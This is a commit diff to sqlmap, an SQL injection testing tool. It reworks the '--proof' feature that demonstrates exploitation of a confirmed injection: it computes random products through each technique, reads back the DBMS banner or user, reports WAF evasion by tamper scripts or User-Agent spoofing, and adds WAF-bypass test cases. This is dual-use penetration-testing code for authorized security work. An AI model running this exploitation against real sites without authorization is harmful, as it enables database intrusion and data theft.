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Improved mechanism for --proof

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This commit is contained in:
Miroslav Štampar
2026-08-07 17:04:32 +02:00
parent be128473d5
commit 6acc970801
3 changed files with 329 additions and 239 deletions
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lib/core/settings.py
+1 -1
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@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.9"
VERSION = "1.10.8.10"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
lib/core/testing.py
+1 -1
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@@ -65,7 +65,7 @@ def vulnTest(tests=None, label="vuln"):
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "drawn at random after the scan started", "boolean-based blind:", "PASS confirmed", "Read-back: back-end DBMS banner", "TRUE (", "5/5", "separated by:", "PROVEN - the back-end executed injected SQL")), # --proof: every claim is an experiment with a control - an unpredictable product the back-end must compute (per technique), a real datum read back, and the TRUE/FALSE differential with its wire facts
("-u <base> --mine-params --flush-session --technique=B", ("mining for hidden GET parameters", "found hidden parameter 'id'", "held back parameter(s) that break the base request", "Parameter: id (GET)", "Type: boolean-based blind")), # --mine-params: discover an injectable parameter absent from a bare URL, hold back the raw-SQL sink that would shadow it, then confirm the injection on the mined 'id'
("-u \"<base>ratelimit?id=1\" --flush-session --technique=B", ("target appears to be rate-limiting", "Parameter: id (GET)", "Type: boolean-based blind")), # adaptive rate-limit handling: the endpoint answers 429 with 'Retry-After' first, so detection only succeeds if sqlmap honors the backoff, throttles, and retries rather than treating 429 as a hard block
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
lib/utils/prove.py
+327 -237
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@@ -6,9 +6,13 @@ See the file 'LICENSE' for copying permission
"""
import os
import time
from lib.core.common import Backend
from lib.core.common import average
from lib.core.common import getCurrentThreadData
from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import openFile
from lib.core.common import randomInt
from lib.core.common import stdev
@@ -25,17 +29,36 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.request.inject import getValue
# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives)
# how many times the differential control is repeated, to show it is stable rather than a coincidence
PROVE_REPETITIONS = 5
# characters of a datum read through an INFERENTIAL technique (one request per bit), so a time-based point
# does not spend minutes reading a banner it has already proven it can read
INFERENTIAL_DATUM_CHARS = 12
# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals,
# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None
_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles")
# width the field labels are padded to, so the values line up in a clean column
_LABEL_WIDTH = 9
_LABEL_WIDTH = 10
# getValue() gates, so each experiment runs through ONE named technique and the evidence can be attributed
# to it. Without this the report would credit whatever technique getValue() happened to pick as fastest.
_GATES = {
PAYLOAD.TECHNIQUE.UNION: {"union": True, "error": False, "blind": False, "time": False},
PAYLOAD.TECHNIQUE.ERROR: {"union": False, "error": True, "blind": False, "time": False},
PAYLOAD.TECHNIQUE.QUERY: {"union": False, "error": True, "blind": False, "time": False},
PAYLOAD.TECHNIQUE.BOOLEAN: {"union": False, "error": False, "blind": True, "time": False},
PAYLOAD.TECHNIQUE.TIME: {"union": False, "error": False, "blind": False, "time": True},
PAYLOAD.TECHNIQUE.STACKED: {"union": False, "error": False, "blind": False, "time": True},
}
# techniques that return the value inside the response body; the rest infer it one bit at a time
_INBAND = (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)
# order the experiments run in: cheapest and most demonstrative first
_ORDER = (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY, PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
def _field(label, value):
@@ -75,118 +98,191 @@ def _restoreInjection(saved):
setattr(conf, attr, value)
def _booleanOracle(expression):
def _exchange():
"""
Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are
forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS
that blocks their function-heavy payloads makes them return None, which (with expectingNone) short-
circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading.
The wire facts of the request that was just sent: (request line, HTTP code, response bytes, seconds).
An evidence line without them is an assertion; with them the reader can check the work.
"""
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False)
threadData = getCurrentThreadData()
parts = (threadData.lastRequestMsg or "").replace("\r\n", "\n").split("\n")
line = urldecode(parts[1].strip(), convall=True) if len(parts) > 1 else ""
return line, threadData.lastCode, len(threadData.lastPage or ""), threadData.lastQueryDuration
def _signalArtifacts(expression):
def _techniques(injection):
return [_ for _ in _ORDER if _ in injection.data]
def _name(stype):
return PAYLOAD.SQLINJECTION.get(stype) or "unknown"
def _outcome(ok, detail, exchange):
"""One evidence row: 'PASS <detail> HTTP 200, 402 bytes, 0.045s' plus the request line beneath it."""
line, code, length, duration = exchange
facts = []
if code is not None:
facts.append("HTTP %s" % code)
if length:
facts.append("%d bytes" % length)
if duration:
facts.append("%.3fs" % duration)
retVal = ["%-4s %s%s" % ("PASS" if ok else "FAIL", detail, (" [%s]" % ", ".join(facts)) if facts else "")]
if line:
retVal.append(" %s" % line)
return retVal
def _challenge(injection, a, b):
"""
Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page <title>) of the
response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual
TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error.
The decisive experiment, run once through EVERY confirmed technique.
The back-end is asked for a*b, where both operands were drawn at random after the scan started. That
product exists in no page, cache, log or reflection, and no amount of pattern matching in front of the
application can produce it - only something that evaluates SQL can. An in-band technique must return
the product itself; an inferential one must answer TRUE to 'a*b=product' AND FALSE to 'a*b=product+1',
which costs two requests instead of reading the digits back one bit at a time.
Running it per technique is the point of the report: on a filtered target it shows exactly which
channels the protection closed and which one still carries data.
"""
from lib.core.common import extractRegexResult, getCurrentThreadData
from lib.core.settings import HTML_TITLE_REGEX
try:
_booleanOracle(expression)
threadData = getCurrentThreadData()
return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip()
except Exception:
return None, None
def _proveBoolean(injection, signal=None):
"""
Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already
auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal
line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two
page titles - so a reader sees exactly what tells TRUE from FALSE.
When a mutable 'signal' dict is supplied it is filled with the distinguishing artifact (code-based?
and the TRUE/FALSE HTTP codes) so the caller can tell a genuine signal from a blocked-response (WAF)
artifact - a TRUE condition that yields an HTTP 4xx is a block, not a database answer.
"""
from lib.request import inject
expected = a * b
retVal = []
n = randomInt()
trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n)))
falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False)
line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS)
if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS:
line += ", repeatably" # only claim repeatability when every repetition agreed
retVal.append(line)
trueCode = trueTitle = falseCode = falseTitle = None
if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them
trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n))
falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1))
if signal is not None:
signal["codeBased"] = bool(injection.conf.code)
signal["trueCode"], signal["falseCode"] = trueCode, falseCode
if injection.conf.string:
retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u'))
elif injection.conf.notString:
retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u'))
elif injection.conf.code:
if trueCode and falseCode and trueCode != falseCode:
retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode))
else:
retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code)
elif injection.conf.titles:
if trueTitle and falseTitle and trueTitle != falseTitle:
retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u')))
else:
retVal.append("the page <title> differs between the TRUE and FALSE responses")
else:
retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)")
for stype in _techniques(injection):
gate = _GATES[stype]
try:
if stype in _INBAND:
value = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True, **gate)
exchange = _exchange()
ok = value is not None and ("%s" % value).strip() == str(expected)
detail = "returned %s" % value if value is not None else "no value returned"
else:
hit = inject.getValue("%d*%d=%d" % (a, b, expected), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, resumeValue=False, suppressOutput=True, expectingNone=True, **gate)
exchange = _exchange() # quote the TRUE probe: on a time-based point that is where the delay shows
miss = inject.getValue("%d*%d=%d" % (a, b, expected + 1), expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, resumeValue=False, suppressOutput=True, expectingNone=True, **gate)
ok = bool(hit) and miss is False
detail = "confirmed %d, rejected %d" % (expected, expected + 1) if ok else "inconclusive (%s/%s)" % (hit, miss)
retVal.append((stype, ok, _outcome(ok, detail, exchange)))
except Exception as ex:
retVal.append((stype, False, ["FAIL %s" % getSafeExString(ex)]))
return retVal
def _proveTime(injection):
def _datumQuery(stype):
"""
Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the
statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR),
it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled
delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to
a baseline-vs-jitter statement.
A real datum to read out of the back-end, and its label. Inferential techniques pay one request per
bit, so their datum is bounded with the DBMS' own SUBSTRING template instead of a whole banner.
"""
dbms = Backend.getIdentifiedDbms()
entry = queries.get(dbms) if dbms else None
if entry is None:
return None, None
for attr, label in (("banner", "back-end DBMS banner"), ("current_db", "current database"), ("current_user", "current database user")):
query = getattr(getattr(entry, attr, None), "query", None)
if not query:
continue
if stype in _INBAND:
return query, label
template = getattr(getattr(entry, "substring", None), "query", None)
if template:
return template % (query, 1, INFERENTIAL_DATUM_CHARS), "%s (first %d characters)" % (label, INFERENTIAL_DATUM_CHARS)
return query, label
return None, None
def _datum(passing):
"""
Reads a real value out of the back-end through a technique the challenge already proved, and reports
which one returned it. The challenge proves execution; this proves data egress.
"""
from lib.request import inject
for stype in passing:
query, label = _datumQuery(stype)
if not query:
continue
started = kb.requestCounter
try:
value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True, resumeValue=False, **_GATES[stype]))
except Exception:
value = None
if not value:
continue
line, code, length, duration = _exchange()
head = "%s = %s [%s]" % (label, repr(getUnicode(value)).lstrip('u'), _name(stype))
if stype in _INBAND:
head += " [HTTP %s, %d bytes, %.3fs]" % (code, length, duration or 0.0)
return [_field("Read-back", [head, " %s" % line] if line else [head])]
# inferred one bit at a time: a single request line would not represent the exchange
return [_field("Read-back", [head, " recovered bit by bit over %d requests" % (kb.requestCounter - started)])]
return []
def _booleanControl(injection):
"""
The TRUE/FALSE differential, quoted with the artifact that separates them AND with the response facts
behind it, so the reader can see what the oracle actually looked at.
"""
from lib.request.inject import getValue
def _ask(expression):
result = getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False)
_line, code, length, _duration = _exchange()
return result, code, length
n = randomInt()
trues = falses = 0
trueCode = falseCode = trueLength = falseLength = None
for _ in range(PROVE_REPETITIONS):
result, trueCode, trueLength = _ask("%d=%d" % (n, n))
trues += bool(result)
result, falseCode, falseLength = _ask("%d=%d" % (n, n + 1))
falses += result is False
retVal = ["TRUE (%d=%d): %d/%d [HTTP %s, %s bytes]" % (n, n, trues, PROVE_REPETITIONS, trueCode, trueLength),
"FALSE (%d=%d): %d/%d [HTTP %s, %s bytes]" % (n, n + 1, falses, PROVE_REPETITIONS, falseCode, falseLength)]
if injection.conf.string:
retVal.append("separated by: the response contains %s only when TRUE" % repr(injection.conf.string).lstrip('u'))
elif injection.conf.notString:
retVal.append("separated by: the response contains %s only when FALSE" % repr(injection.conf.notString).lstrip('u'))
elif injection.conf.code:
retVal.append("separated by: the HTTP status code")
elif injection.conf.titles:
retVal.append("separated by: the page title")
else:
retVal.append("separated by: response content similarity")
# a TRUE condition answered by a 4xx is a block, not a database answer - the caller needs to know
return retVal, (bool(injection.conf.code) and (trueCode or 0) >= 400)
def _timeControl(injection, stype):
"""
Sweeps the injected delay (0 / T / 2T seconds) and shows the response time follows it. The 0s case is
the control: a slow application or a congested network cannot switch itself off on command.
"""
from lib.core.agent import agent
from lib.core.common import getCurrentThreadData, popValue, pushValue
from lib.core.common import popValue, pushValue
from lib.request.connect import Connect as Request
retVal = []
stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
vector = (injection.data.get(stype) or {}).get("vector")
def _baselineStatement():
baseline = kb.responseTimes.get(kb.responseTimeMode) or []
if len(baseline) >= 2:
return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline))
return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably"
if not (vector and SLEEP_TIME_MARKER in vector):
retVal.append(_baselineStatement())
return retVal
n = randomInt()
base = conf.timeSec or 5
measurements = []
benign = []
for _ in range(3):
try:
@@ -194,6 +290,17 @@ def _proveTime(injection):
benign.append(getCurrentThreadData().lastQueryDuration)
except Exception:
pass
baseAvg = average(benign) if benign else 0.0
baseStd = stdev(benign) if len(benign) >= 2 else 0.0
if not (vector and SLEEP_TIME_MARKER in vector):
# a heavy-query delay carries no parameterizable seconds, so there is nothing to sweep
return ["a TRUE condition delays the response well beyond the normal ~%.3fs (jitter ~%.3fs)" % (baseAvg, baseStd)]
n = randomInt()
base = conf.timeSec or 5
measurements = []
for k in (0, base, 2 * base):
pushValue(conf.timeSec)
conf.timeSec = k
@@ -207,179 +314,162 @@ def _proveTime(injection):
conf.timeSec = popValue()
if any(d is None for _, d in measurements):
retVal.append(_baselineStatement())
return retVal
return ["a TRUE condition delays the response well beyond the normal ~%.3fs (jitter ~%.3fs)" % (baseAvg, baseStd)]
d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1])
baseAvg = average(benign) if benign else d0
baseStd = stdev(benign) if len(benign) >= 2 else 0.0
# only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline,
# Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but
# does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic)
linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT
if linear:
retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)))
retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)")
else:
retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd))
retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces")
retVal = ["unmodified request: %.3fs (jitter ~%.3fs)" % (baseAvg, baseStd),
"injected delay: %s" % " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)]
# only claim 1:1 scaling when the measurements really track the injected seconds. A heavy-query delay
# also rides [SLEEPTIME] but does not scale linearly, so it must not be rendered as a controlled delay.
if d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT:
retVal.append("the delay follows the injected value ~1:1, and 0s returns at normal speed")
return retVal
def _retrieveProof():
# response codes a protection returns when it drops a request, rather than the application answering
_BLOCKED_CODES = (403, 406, 419, 429, 501, 503)
def _evasion():
"""
Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest:
1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no
table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are
random, so reading the exact product back proves the back-end actually executed injected SQL
(not a reflected constant);
2. the DBMS banner: a real datum the application never returns on its own (the strongest proof).
Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one
DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present.
What the proof had to get through. On a filtered target this is the part that matters: the evidence
above is worth much more when the report also states that a protection was in the path and what was
needed to carry data past it.
"""
from lib.request import inject
retVal = []
a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable
try:
result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True)
except Exception:
result = None
if result is not None and ("%s" % result).strip() == str(a * b):
retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b)))
label = value = None
for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled
(conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"),
(conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"),
(conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"),
):
if requested and candidate:
label, value = lbl, unArrayizeValue(candidate)
break
if value is None:
dbms = Backend.getIdentifiedDbms()
banner = getattr(queries.get(dbms), "banner", None) if dbms else None
query = getattr(banner, "query", None) if banner else None
if query:
try:
value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True))
label = "back-end DBMS banner"
except Exception:
value = None
if value:
retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u'))))
if kb.identifiedWafs:
retVal.append("protection identified: %s" % ", ".join(sorted(kb.identifiedWafs)))
elif kb.wafBypass is not None:
retVal.append("protection detected in front of the application (not fingerprinted)")
if kb.wafBypass:
retVal.append("automatic bypass applied: non-scanner User-Agent and browser-like headers")
names = ", ".join(sorted(_.__name__.rsplit('.', 1)[-1] for _ in (kb.tamperFunctions or [])))
if names or conf.tamper:
retVal.append("tamper scripts in effect: %s" % (names or conf.tamper))
blocked = ", ".join("%d x%d" % (code, count) for code, count in sorted((kb.httpErrorCodes or {}).items()) if code in _BLOCKED_CODES)
if blocked:
retVal.append("responses refused by the protection during the run: %s" % blocked)
if kb.droppingRequests:
retVal.append("the target dropped or reset requests during the scan (retried)")
if conf.delay:
retVal.append("requests were delayed by %.2fs each" % conf.delay)
return retVal
def _proveInjection(injection):
"""
Runs every experiment for one injection point and renders its block. Returns (fields, proven).
"""
saved = _activateInjection(injection)
started = kb.requestCounter
try:
a, b = randomInt(4), randomInt(4) # 4-digit operands: the product stays inside a 32-bit INT on every DBMS, yet is unguessable
rows = _challenge(injection, a, b)
passing = [stype for stype, ok, _ in rows if ok]
blocked = None
control = []
stype = passing[0] if passing else (_techniques(injection) or [None])[0]
if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
control, blocked = _booleanControl(injection)
controlLabel = "boolean differential"
elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data:
control = _timeControl(injection, PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED)
controlLabel = "timing control"
else:
controlLabel = None
readback = _datum(passing)
finally:
_restoreInjection(saved)
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place
fields = [_field("Parameter", "%s (%s)" % (injection.parameter, paramType)),
_field("Techniques", ", ".join(_name(_) for _ in _techniques(injection)) or "none")]
challenge = ["the back-end must compute %d*%d = %d, drawn at random after the scan started" % (a, b, a * b),
"(the product is in no page, cache or reflection - only something that evaluates SQL can return it)"]
for stype, _ok, lines in rows:
challenge.append("%s:" % _name(stype))
challenge.extend(" %s" % _ for _ in lines)
fields.append(_field("Challenge", challenge))
fields.extend(readback)
if control:
fields.append(_field("Control", ["%s" % controlLabel] + [" %s" % _ for _ in control]))
evasion = _evasion()
if evasion:
fields.append(_field("Evasion", evasion))
proven = bool(passing)
if proven:
through = " through the protection in front of the application" if (kb.identifiedWafs or kb.wafBypass) else ""
verdict = ["PROVEN - the back-end executed injected SQL and returned the result%s" % through,
"channels that carry data: %s" % ", ".join(_name(_) for _ in passing)]
failed = [_name(stype) for stype, ok, _ in rows if not ok]
if failed:
verdict.append("channels that did NOT answer: %s" % ", ".join(failed))
else:
verdict = ["NOT PROVEN - no technique returned the computed value"]
if blocked:
verdict.append("a TRUE condition answers with an HTTP error - that is a block, not a database answer")
if kb.identifiedWafs or kb.droppingRequests or blocked:
verdict.append("a protection is interfering, so this may be a real injection whose data channel is blocked")
verdict.append("=> re-test without the protection, or with '--tamper', then prove again")
else:
verdict.append("the reported injection point reproduces a differential but cannot execute SQL")
verdict.append("=> treat it as a FALSE POSITIVE unless a side effect proves otherwise (e.g. '--os-shell')")
verdict.append("%d requests spent on this proof" % (kb.requestCounter - started))
fields.append(_field("Verdict", verdict))
return fields, proven
def proveExploitation():
"""
Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point
(option '--proof'), in the same style as sqlmap's injection-point summary so it reads naturally: the
target URL and the confirmed injection point (parameter / type / title / payload), then the strongest
proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive
one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the
distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both
to stdout and to '<output>/proof.txt'.
Renders a verifiable demonstration of exploitation for every confirmed injection point (switch
'--proof'). It does not restate what detection reported: each claim is an experiment with a control,
an unpredictable expected value, and the request line, HTTP status, response size and timing that
produced it - and every claim is attributed to the technique that produced it. Written to stdout and
to '<output>/proof.txt'.
"""
if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections):
injections = [_ for _ in (kb.injections or []) if getattr(_, "place", None)]
if not injections:
return
injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0]
signal = {}
saved = _activateInjection(injection)
try:
if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
stype = PAYLOAD.TECHNIQUE.BOOLEAN
proof = _proveBoolean(injection, signal)
elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data:
stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
proof = _proveTime(injection)
elif PAYLOAD.TECHNIQUE.ERROR in injection.data:
stype = PAYLOAD.TECHNIQUE.ERROR
proof = ["the back-end error message returns the requested value directly"]
elif PAYLOAD.TECHNIQUE.UNION in injection.data:
stype = PAYLOAD.TECHNIQUE.UNION
proof = ["the requested value is rendered inside the application response"]
else:
stype = next(iter(injection.data), None)
proof = []
rungs = _retrieveProof()
finally:
_restoreInjection(saved)
from lib.core.agent import agent
target = conf.url or ""
if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path
target += "?%s" % conf.parameters[PLACE.GET]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place
sdata = injection.data.get(stype)
fields = [_field("Target", target)]
if conf.parameters.get(PLACE.POST):
fields.append(_field("Data", conf.parameters[PLACE.POST]))
fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType)))
if sdata is not None:
fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype]))
if sdata.payload:
payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus))
fields.append(_field("Payload", payload))
# Reading a value back out of the back-end is the GATE, not a bonus: it is the only thing that
# distinguishes a real injection from a differential that merely correlates with the payload. A
# WAF/IPS that answers blocked payloads with a distinct HTTP status (e.g. 403 when TRUE, 200 when
# FALSE) reproduces a perfect, repeatable boolean differential WITHOUT any SQL ever executing - so
# the differential alone is exactly the signal detection already (mis)read. If nothing could be read
# back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict.
proven = bool(rungs)
if Backend.getIdentifiedDbms():
fields.append(_field("Back-end", Backend.getIdentifiedDbms()))
fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S")))
# whether ANY confirmed technique here can return data inline; a stacked-query-only point cannot, so a
# failed read-back below is expected there and must NOT be spun into a "false positive" verdict
canReadBack = any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.TIME))
proven = 0
for injection in injections:
block, ok = _proveInjection(injection)
proven += int(ok)
fields.append("")
fields.extend(block)
if proven:
if proof:
fields.append(_field("Proof", proof))
for label, text in rungs:
fields.append(_field(label, text))
header = "sqlmap proved exploitation of the following injection point"
if proven == len(injections):
header = "sqlmap proved exploitation of the following injection point(s)"
elif proven:
header = "sqlmap proved exploitation of %d of %d reported injection point(s)" % (proven, len(injections))
else:
if proof:
fields.append(_field("Observed", proof)) # the differential is observed, but unconfirmed
suspectWaf = bool(signal.get("codeBased")) and (signal.get("trueCode") or 0) >= 400
wafInterfering = suspectWaf or kb.droppingRequests or bool(kb.identifiedWafs)
verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"]
if suspectWaf:
verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode"))
if not canReadBack:
# e.g. stacked-query-only: no confirmed technique returns data inline, so a value cannot be read
# back here - that is expected by design and is NOT evidence of a false positive
verdict.append("this injection point exposes no data-returning channel (e.g. stacked queries), so a value cannot be read back inline - expected here, not a false positive")
verdict.append("=> confirm exploitation through a side effect instead (e.g. '--os-shell', or '--sql-query' run with '--technique=S')")
elif wafInterfering:
# behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval
# payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false
# positive", point the user at the way to disambiguate instead
verdict.append("a WAF/IPS is interfering: this may be a real injection whose data-retrieval is blocked, or a false positive")
verdict.append("=> exploitation is NOT proven; re-test directly (no WAF) or with --tamper, then re-prove")
else:
verdict.append("=> exploitation is NOT proven; the reported injection is likely a FALSE POSITIVE")
fields.append(_field("Verdict", verdict))
header = "sqlmap could NOT prove exploitation of the reported injection point"
header = "sqlmap could NOT prove exploitation of the reported injection point(s)"
data = "\n".join(fields)
conf.dumper.string(header, data)